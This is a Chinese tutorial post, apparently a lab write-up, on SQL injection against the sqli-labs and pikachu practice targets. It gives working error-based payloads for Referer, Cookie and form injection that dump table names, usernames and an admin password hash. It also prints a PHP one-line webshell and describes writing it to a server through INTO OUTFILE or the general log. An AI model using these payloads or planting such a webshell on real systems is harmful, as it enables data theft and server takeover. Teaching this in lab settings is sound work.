SQL注入-下篇

2024-06-19 21:12
文章标签 sql 注入 下篇 database

本文主要是介绍SQL注入-下篇,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

HTTP注入

一、Referer注入

概述

当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的。
如直接在浏览器器的URL栏输入网址访问网站是没有referer的,需要在一个打开的网站中,点击链接跳转到另一个页面。

Less-19
  1. 判断也是是否存在注入

image.png
image.png

  1. 尝试注入
    1. 使用单引号判断

image.png

  1. 闭合SQL
 http://10.196.93.67/sqli-labs/Less-19/','' ) #  

image.png

  1. 构造语句并注入
    1. 判断是插入语句,尝试报错注入。
http://10.196.93.67/sqli-labs/Less-19/'and updatexml(1,concat('~',(select database()),'~'),1),'' ) #   

image.png

二、Cookies注入

  1. 判断是否有注入
    1. 显示请求头信息

image.png

  1. 闭合语句
    1. 单引号尝试报错,可能注入

image.png

  1. 添加井号,闭合完成

image.png

  1. 构造语句并注入
    1. 报错注入
Cookie: uname=v 'and updatexml(1,concat('~',(select user()),'~'),1) #  

image.png

pikachu靶场搭建

  1. github地址:https://github.com/zhuifengshaonianhanlu/pikachu
  2. 下载后解压放入文件到Apache服务中的www根目录中
  3. 在mysql数据库中创建一个任意的数据库(示例:pikachu)
  4. 在pikachu目录中找到config.inc.php文件
    1. 位置:WWW\pikachu\inc文件下
  5. 修改config.inc.php配置
# DBNAME 为创建的开始创建的空数据库
#
<?php
//全局session_start
session_start();
//全局居设置时区
date_default_timezone_set('Asia/Shanghai');
//全局设置默认字符
header('Content-type:text/html;charset=utf-8');
//定义数据库连接参数
define('DBHOST', '127.0.0.1');//将localhost或者127.0.0.1修改为数据库服务器的地址
define('DBUSER', 'root');//将root修改为连接mysql的用户名
define('DBPW', 'root');//将root修改为连接mysql的密码,如果改了还是连接不上,请先手动连接下你的数据库,确保数据库服务没问题在说!
define('DBNAME', 'pikachu');//自定义,建议不修改
define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306?>
  1. 网站初始化
    1. 进入网址:http://localhost/pikachu/install.php
    2. 点击初始化按钮,出现下方的红字,初始化成功。

image.png

注入漏洞登录网站(pikachu靶场)

一、寻找注入点

  1. 网址:http://10.196.93.67/pikachu/vul/sqli/sqli_iu/sqli_reg.php
  2. 判断是否能注入:
    1. 单引号判断,出现sql报错既可注入。
    2. image.png
    3. image.png

二、闭合语句

  1. 注册功能,使用的是插入,大概率补全字段数既可闭合语句。
username=','','','','','')# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  

image.png

三、注入

  1. 尝试报错注入
    1. 数据库名:pikachu
username=','','','','',''and updatexml(1,concat('~!',(select database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit

image.png

  1. 查询pikachu中表名
    1. 查询表的数量
username=','','','','',''and updatexml(1,concat('~',(select count(*) from information_schema.`TABLES` where TABLE_SCHEMA = database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:5张

image.png

  1. 使用group_concat()查询()
# sql
username=','','','','',''and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.`TABLES` where TABLE_SCHEMA = database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
#结果:XPATH syntax error: '~httpinfo,member,message,users,x'
# 并没有显示完整,还差最后一张
# 查询最后一张,使用limit或直接使用suhstr()
# sql
username=','','','','',''and updatexml(1,concat('~',(select table_name from information_schema.`TABLES` where TABLE_SCHEMA = database()limit 4,1),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
# 结果:XPATH syntax error: '~xssblind~'# 最后查询结果:httpinfo,member,message,users,xssblind

image.png
image.png

  1. 查询users表中的字段名称
username=','','','','',''and updatexml(1,concat('~',(select GROUP_CONCAT(column_name) from information_schema.`COLUMNS` where TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users'),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:XPATH syntax error: '~id,username,password,level~'

image.png

  1. 查询users表中的数据
    1. 查询用户名
username=','','','','',''and updatexml(1,concat('~',(select group_concat(username) from users),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:XPATH syntax error: '~admin,pikachu,test~'

image.png

  1. 查询admin用户密码
username=','','','','',''and updatexml(1,concat('~',(select password from users where username = "admin"),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
# 结果:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883' 
# 根据结果发现:
# 一:密码使用md5加密
# 二:密码并没有显示完全,需要在使用substr()截取函数,补全密码并解码
# 真实密码:e10adc3949ba59abbe56e057f20f883e 
# 解码得:123456
  1. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1718765775832-d22d61a3-7225-4b94-98c4-c3b847844bcb.png#averageHue=%23626161&clientId=u0c23c550-2eef-4&from=paste&height=614&id=uc59ac8c5&originHeight=614&originWidth=1343&originalType=binary&ratio=1&rotation=0&showTitle=false&size=72813&status=done&style=none&taskId=ue08d257f-066c-4145-8f12-84cab89f64d&title=&width=1343)2. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1718765956800-75a89c27-539b-4481-82d7-2e56c86379ce.png#averageHue=%23f6f6f5&clientId=u0c23c550-2eef-4&from=paste&height=282&id=ua689a11a&originHeight=282&originWidth=860&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24564&status=done&style=none&taskId=u0f221d0c-234e-47d1-8477-af918a5df21&title=&width=860)

webShell

一、简介

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。

二、网站渗透流程

1、信息收集
2、网站漏洞挖掘
3 利用漏洞3.1、获取webShell3.2、获取网站后台权限3.2.1、获取webShell

三、一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用

1 满足条件
  1. 木木马成功上传,为被杀
  2. 知道木马的路径在哪
  3. 上传的木马能正常运行
  4. 有PHP运行环境
2 PHP
# @ :表示后面及时后面执行错误,也不会报错。
# eval() 把参数当做代码来执行。
# 以POST方式获取到cmd的值
<?php @eval($_POST["cmd"]); ?># 扩展:php方法
# 可以执行系统命令
# 容易被杀毒软件杀掉
system();

3 中国蚁剑
  1. 连接

image.png

  1. 打开虚拟终端

image.png

四、SQL注入获取webShell

  1. 前提条件
    1. 当前sql注入用户必须为DBA权限(–is-dba为true)
    2. 需要知道网站的绝对路径
    3. My.ini文件中的这项配置secure_file_priv = “” 为空
  2. 技巧
    1. 单引号暴露绝对路径/错误参数暴露绝对路径

image.png

  1. secure_file_priv注入演示
    1. 设置my.ini 该字段为空
secure_file_priv = 

image.png

  1. 注入
select * from `security`.users where id = '-1' union select 1,2,LOAD_FILE("D:/phpStudy/PHPTutorial/WWW/sqli-labs/Less-1/index.php/INDEX.php");
  1. into outfile
    1. 将查询数据写到到本地
select *  into outfile 'D:/phpStudy/PHPTutorial/MySQL/aaaaa.txt' from `security`.users ;

五、phpmyAdmin获取webShell

  1. 前提条件
    1. 当前sql注入用户必须为DBA权限(–is-dba为true)
    2. 需要知道网站的绝对路径
    3. My.ini文件中的这项配置secure_file_priv = “” 为空
  2. 宝塔漏洞
    1. 访问网址既可进入到phpMyAdmin管理页面
    2. http://www.xx.com:888/pma
  3. 通过查询将一句话木马写到到本地。

六、全局日志

  1. 设置全局日志
set global general_log_file = 'xxx/xx.php'
# 再写入一句话木马

DnsLog盲注

使用网址:http://www.dnslog.cn/

利用条件

image.png

固定语句

image.png

这篇关于SQL注入-下篇的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1076159

相关文章

MySQL数据库约束深入详解

《MySQL数据库约束深入详解》:本文主要介绍MySQL数据库约束,在MySQL数据库中,约束是用来限制进入表中的数据类型的一种技术,通过使用约束,可以确保数据的准确性、完整性和可靠性,需要的朋友... 目录一、数据库约束的概念二、约束类型三、NOT NULL 非空约束四、DEFAULT 默认值约束五、UN

MySQL 多表连接操作方法(INNER JOIN、LEFT JOIN、RIGHT JOIN、FULL OUTER JOIN)

《MySQL多表连接操作方法(INNERJOIN、LEFTJOIN、RIGHTJOIN、FULLOUTERJOIN)》多表连接是一种将两个或多个表中的数据组合在一起的SQL操作,通过连接,... 目录一、 什么是多表连接?二、 mysql 支持的连接类型三、 多表连接的语法四、实战示例 数据准备五、连接的性

MySQL中的分组和多表连接详解

《MySQL中的分组和多表连接详解》:本文主要介绍MySQL中的分组和多表连接的相关操作,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友一起看看吧... 目录mysql中的分组和多表连接一、MySQL的分组(group javascriptby )二、多表连接(表连接会产生大量的数据垃圾)MySQL中的

MySQL 中的 JSON 查询案例详解

《MySQL中的JSON查询案例详解》:本文主要介绍MySQL的JSON查询的相关知识,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录mysql 的 jsON 路径格式基本结构路径组件详解特殊语法元素实际示例简单路径复杂路径简写操作符注意MySQL 的 J

Windows 上如果忘记了 MySQL 密码 重置密码的两种方法

《Windows上如果忘记了MySQL密码重置密码的两种方法》:本文主要介绍Windows上如果忘记了MySQL密码重置密码的两种方法,本文通过两种方法结合实例代码给大家介绍的非常详细,感... 目录方法 1:以跳过权限验证模式启动 mysql 并重置密码方法 2:使用 my.ini 文件的临时配置在 Wi

MySQL重复数据处理的七种高效方法

《MySQL重复数据处理的七种高效方法》你是不是也曾遇到过这样的烦恼:明明系统测试时一切正常,上线后却频频出现重复数据,大批量导数据时,总有那么几条不听话的记录导致整个事务莫名回滚,今天,我就跟大家分... 目录1. 重复数据插入问题分析1.1 问题本质1.2 常见场景图2. 基础解决方案:使用异常捕获3.

SQL中redo log 刷⼊磁盘的常见方法

《SQL中redolog刷⼊磁盘的常见方法》本文主要介绍了SQL中redolog刷⼊磁盘的常见方法,将redolog刷入磁盘的方法确保了数据的持久性和一致性,下面就来具体介绍一下,感兴趣的可以了解... 目录Redo Log 刷入磁盘的方法Redo Log 刷入磁盘的过程代码示例(伪代码)在数据库系统中,r

mysql中的group by高级用法

《mysql中的groupby高级用法》MySQL中的GROUPBY是数据聚合分析的核心功能,主要用于将结果集按指定列分组,并结合聚合函数进行统计计算,下面给大家介绍mysql中的groupby用法... 目录一、基本语法与核心功能二、基础用法示例1. 单列分组统计2. 多列组合分组3. 与WHERE结合使

Mysql用户授权(GRANT)语法及示例解读

《Mysql用户授权(GRANT)语法及示例解读》:本文主要介绍Mysql用户授权(GRANT)语法及示例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql用户授权(GRANT)语法授予用户权限语法GRANT语句中的<权限类型>的使用WITH GRANT

Mysql如何解决死锁问题

《Mysql如何解决死锁问题》:本文主要介绍Mysql如何解决死锁问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录【一】mysql中锁分类和加锁情况【1】按锁的粒度分类全局锁表级锁行级锁【2】按锁的模式分类【二】加锁方式的影响因素【三】Mysql的死锁情况【1